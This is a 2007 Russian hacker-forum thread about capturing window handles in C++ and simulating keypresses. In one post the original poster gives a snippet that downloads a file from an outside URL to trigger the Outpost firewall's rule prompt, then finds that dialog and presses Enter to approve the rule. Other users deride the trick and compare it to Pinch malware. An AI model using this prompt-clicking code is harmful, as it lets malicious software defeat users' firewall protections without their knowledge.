Захват хендла окна (c++)

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by kotel, 1 Oct 2007.

  1. kotel

    kotel New Member

    Joined:
    3 Sep 2006
    Messages:
    4
    Likes Received:
    1
    Reputations:
    0
    Изучил довольно много информации по хендлу.Планирую использовать в мирных целях,но думаю и для обхода фаеров пригодиться многим ;)

    PHP:
    HWND hWnd;
    hWnd FindWindow("Класс приложения"NULL);
    hWnd FindWindowEx(hWndNULL"Класс кнопки/строки и прочего"NULL);

    if (
    IsWindow(hWnd))
    {
     
    // Кнопка найдена, работаем с ней
    }
    Код работает прекрасно,но ..вот пример:
    PHP:
    HWND hWnd;
    hWnd FindWindow("Notepad"NULL);
    hWnd FindWindowEx(hWndNULL"Edit"NULL);

    if (
    IsWindow(hWnd))
    {
    keybd_event(VK_SPACE,0,0,0);
    keybd_event(VK_SPACE,0,KEYEVENTF_KEYUP,0);


    }
    Работа с блокнотом,а точнее эмуляция нажатия кнопок SPACE,проблема в том,что программа (эмуляция) работает корретно,только в случае (!) если Notepad - является (!)активным окном.В противном случа нет.Вопрос,есть ли способы переключения активного окна?Гугль не помог.
     
    #1 kotel, 1 Oct 2007
    Last edited: 1 Oct 2007
  2. LEE_ROY

    LEE_ROY Elder - Старейшина

    Joined:
    9 Nov 2006
    Messages:
    450
    Likes Received:
    188
    Reputations:
    26
    попробуй SetForegroundWindow
     
    1 person likes this.
  3. groundhog

    groundhog Elder - Старейшина

    Joined:
    12 May 2007
    Messages:
    1,159
    Likes Received:
    425
    Reputations:
    180
    Во-первых, я не понял при чём тут обход фаеров? Во-вторых, в "мирных" целях лучше посылать асинхронные сообщения окну, тогда ты будешь точно знать, что это событие предназначалось именно тому, на кого ты расчитывал, а вот насчёт того, что гугль тебе не помог - это не отмазка. Мало того, что в MSDN это есть, так это и в гугле на первых позициях - SetForegroundWindow, SetActiveWindow, SetWindowPos, ActivateWindow. Дальше сам.
     
  4. kotel

    kotel New Member

    Joined:
    3 Sep 2006
    Messages:
    4
    Likes Received:
    1
    Reputations:
    0
    groundhog
    Обдумав 30 секунд набросал:
    PHP:

    URLDownloadToFile
    (NULL"http://url.succes.txt""succes.txt"0NULL); //дразним оутпост

    HWND hWnd;
    hWnd FindWindow("#32770"NULL); //находим окно создания правила 
    //для нового приложения


    if (IsWindow(hWnd))
    {
    keybd_event(VK_RETURN,0,0,0); 
    //создаем правило:),по умолчанию задает ему как Web 
    //браузер.поэтому достаточно 1 нажатия :))

    }
    Палиться конечно (выводит сообщения,на переключение активного окна),но ведь за 30 секунд лучше не придумать :))

    Спасибо учту.Я не люблю отмазываться :).

    Однако не имел понятия про подобные функции.Спасибо.Думаю теперь уже они не понадобяться :)

    LEE_ROY
    Спасибо пошел искать инфу.
     
  5. Exile1985

    Exile1985 Elder - Старейшина

    Joined:
    10 Aug 2006
    Messages:
    124
    Likes Received:
    35
    Reputations:
    1
    Изучив много карт и глобусов, могу твердо заявить: земля КРУГЛАЯ!!!.
    Я буду использовать эту информацию в мирных целях, хотя ею можно воспользоваться и в других менее мирных целях.
     
    2 people like this.
  6. groundhog

    groundhog Elder - Старейшина

    Joined:
    12 May 2007
    Messages:
    1,159
    Likes Received:
    425
    Reputations:
    180
    Клацанье по кнопкам это не обход фаеров...
     
    1 person likes this.
  7. _Great_

    _Great_ Elder - Старейшина

    Joined:
    27 Dec 2005
    Messages:
    2,032
    Likes Received:
    1,119
    Reputations:
    1,139
    Ну боянище же это раз. Два - какой это нафиг обход?
     
    1 person likes this.
  8. GlOFF

    GlOFF Elder - Старейшина

    Joined:
    8 May 2006
    Messages:
    689
    Likes Received:
    484
    Reputations:
    4
    Ну так пинч же тоже по кнопочкам клацал, как бы "обходя" KIS и OUTPOST. Это не обход, это скорее обман :D
     
    3 people like this.
  9. Ni0x

    Ni0x Elder - Старейшина

    Joined:
    27 Aug 2006
    Messages:
    338
    Likes Received:
    157
    Reputations:
    37
    Наконецто пришел котел и раскрыл истину, я уж думал не дождусь. Теперь я тоже умею искать окна по FindWindowEx, проверять окна с помощью IsWindow и нажимать кнопочки по keybd_event. Бойся оутпост, пришло твое время.
    Вообще, зачем создавать такие темы, мм? Пропалишь же тему..
     
  10. Exile1985

    Exile1985 Elder - Старейшина

    Joined:
    10 Aug 2006
    Messages:
    124
    Likes Received:
    35
    Reputations:
    1
    не говори как, мы, долгие годы молчали и никому не рассказывали об этом секрете, а ты вот взял и спалил всех нах.

    Как скажи мне мы теперь будем обходить врейвол, ведь бравые бойци из агниума закроют эту дыру.

    И как нам теперь быть!? Засрал малину?!
     
    2 people like this.